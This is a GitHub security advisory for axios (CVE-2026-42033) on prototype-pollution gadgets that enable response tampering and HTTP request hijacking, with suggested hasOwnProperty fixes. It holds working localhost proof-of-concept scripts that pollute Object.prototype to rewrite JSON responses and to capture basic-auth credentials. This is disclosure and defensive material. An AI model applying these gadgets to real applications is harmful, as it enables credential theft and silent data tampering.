GHSA-PF86-5X62-JRWF
Vulnerability from github – Published: 2026-05-05 00:26 – Updated: 2026-05-05 00:26Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.
Background: how mergeConfig builds the config object
Every axios request goes through Axios._request in lib/core/Axios.js#L76:
config = mergeConfig(this.defaults, config);
Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):
const config = {};
A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.
Gadget 1: parseReviver -- response tampering and exfiltration
Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6
Root cause
The default transformResponse function calls JSON.parse(data, this.parseReviver):
return JSON.parse(data, this.parseReviver);
this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.
The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:
forcedJSONParsing: true,
which activates the JSON parse path unconditionally when responseType is unset.
JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.
There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.
Verification: own-property check
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;
const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)
Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
Proof of concept
Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.
Terminal 1 -- server (server_gadget1.mjs):
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});
server.listen(19003, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19003');
});
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /
Terminal 2 -- client (poc_parsereviver.mjs):
import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
// Called for every key-value pair in every JSON response parsed by axios in this process.
if (key !== '') {
// Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
console.log('[exfil]', key, '=', JSON.stringify(value));
}
// Tamper: escalate role, inflate balance.
if (key === 'role') return 'admin';
if (key === 'balance') return 999999;
return value;
};
const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));
delete Object.prototype.parseReviver;
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}
The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.
Gadget 2: transport -- full HTTP request hijacking with credentials
Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)
Root cause
Inside the Node.js http adapter at lib/adapters/http.js#L676:
if (config.transport) {
transport = config.transport;
}
transport is listed in mergeMap inside mergeConfig (line 88):
transport: defaultToConfig2,
but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.
The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.
The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:
options.hostname,options.port,options.path-- full target URLoptions.auth-- basic auth credentials in"username:password"form (set at line 606)options.headers-- all request headers as a plain object
Proof of concept
Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.
Terminal 1 -- server (server_gadget2.mjs):
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"ok":true}');
});
server.listen(19002, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19002');
});
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
Terminal 2 -- client (poc_transport.mjs):
import axios from 'axios';
import http from 'http';
Object.prototype.transport = {
request(options, handleResponse) {
// Intercept: called for every outbound request in this process.
console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
console.log('[hijack] auth:', options.auth);
console.log('[hijack] headers:', JSON.stringify(options.headers));
// Forward to the real transport so the caller sees a normal 200.
return http.request(options, handleResponse);
},
};
const res = await axios.get('http://127.0.0.1:19002/api/users', {
auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);
delete Object.prototype.transport;
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200
The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.
Additional gadget: transformRequest / transformResponse
Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.
This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).
Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.
Why the existing fix does not cover these
PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....
That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.
Suggested fixes
For parseReviver (lib/defaults/index.js#L124):
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);
For mergeConfig value reads (lib/core/mergeConfig.js#L102):
const configValue = merge(
config1[prop],
utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
prop
);
For transport and other adapter reads from config (lib/adapters/http.js#L676):
if (utils.hasOwnProp(config, 'transport') && config.transport) {
transport = config.transport;
}
The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.
Environment
- axios: 1.13.6
- Node.js: 22.22.0
- OS: macOS 14
- Reproduction: confirmed in isolated test harness, both gadgets independently verified
Disclosure
Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42033"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:26:29Z",
"nvd_published_at": "2026-04-24T18:16:29Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver\u0027s return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from \u0027module\u0027;\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require(\u0027./lib/core/mergeConfig.js\u0027).default;\nconst defaults = require(\u0027./lib/defaults/index.js\u0027).default;\n\nconst merged = mergeConfig(defaults, { url: \u0027/test\u0027, method: \u0027get\u0027 });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, \u0027parseReviver\u0027)); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027[server] request:\u0027, req.method, req.url);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ role: \u0027user\u0027, balance: 100, token: \u0027tok_real_abc\u0027 }));\n});\n\nserver.listen(19003, \u0027127.0.0.1\u0027, () =\u003e {\n console.log(\u0027[server] listening on 127.0.0.1:19003\u0027);\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n // Called for every key-value pair in every JSON response parsed by axios in this process.\n if (key !== \u0027\u0027) {\n // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n console.log(\u0027[exfil]\u0027, key, \u0027=\u0027, JSON.stringify(value));\n }\n // Tamper: escalate role, inflate balance.\n if (key === \u0027role\u0027) return \u0027admin\u0027;\n if (key === \u0027balance\u0027) return 999999;\n return value;\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19003/\u0027);\nconsole.log(\u0027[app] received:\u0027, JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client\u0027s process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027[server] request:\u0027, req.method, req.url, \u0027auth:\u0027, req.headers.authorization || \u0027(none)\u0027);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(\u0027{\"ok\":true}\u0027);\n});\n\nserver.listen(19002, \u0027127.0.0.1\u0027, () =\u003e {\n console.log(\u0027[server] listening on 127.0.0.1:19002\u0027);\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\nObject.prototype.transport = {\n request(options, handleResponse) {\n // Intercept: called for every outbound request in this process.\n console.log(\u0027[hijack] target:\u0027, options.hostname + \u0027:\u0027 + options.port + options.path);\n console.log(\u0027[hijack] auth:\u0027, options.auth);\n console.log(\u0027[hijack] headers:\u0027, JSON.stringify(options.headers));\n // Forward to the real transport so the caller sees a normal 200.\n return http.request(options, handleResponse);\n },\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19002/api/users\u0027, {\n auth: { username: \u0027svc_account\u0027, password: \u0027hunter2\u0027 },\n});\nconsole.log(\u0027[app] response status:\u0027, res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker\u0027s transport function. The request completes normally from the caller\u0027s perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker\u0027s function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config\u0027s own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap[\u0027__proto__\u0027]` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027) ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n config1[prop],\n utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, \u0027transport\u0027) \u0026\u0026 config.transport) {\n transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.",
"id": "GHSA-pf86-5x62-jrwf",
"modified": "2026-05-05T00:26:30Z",
"published": "2026-05-05T00:26:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.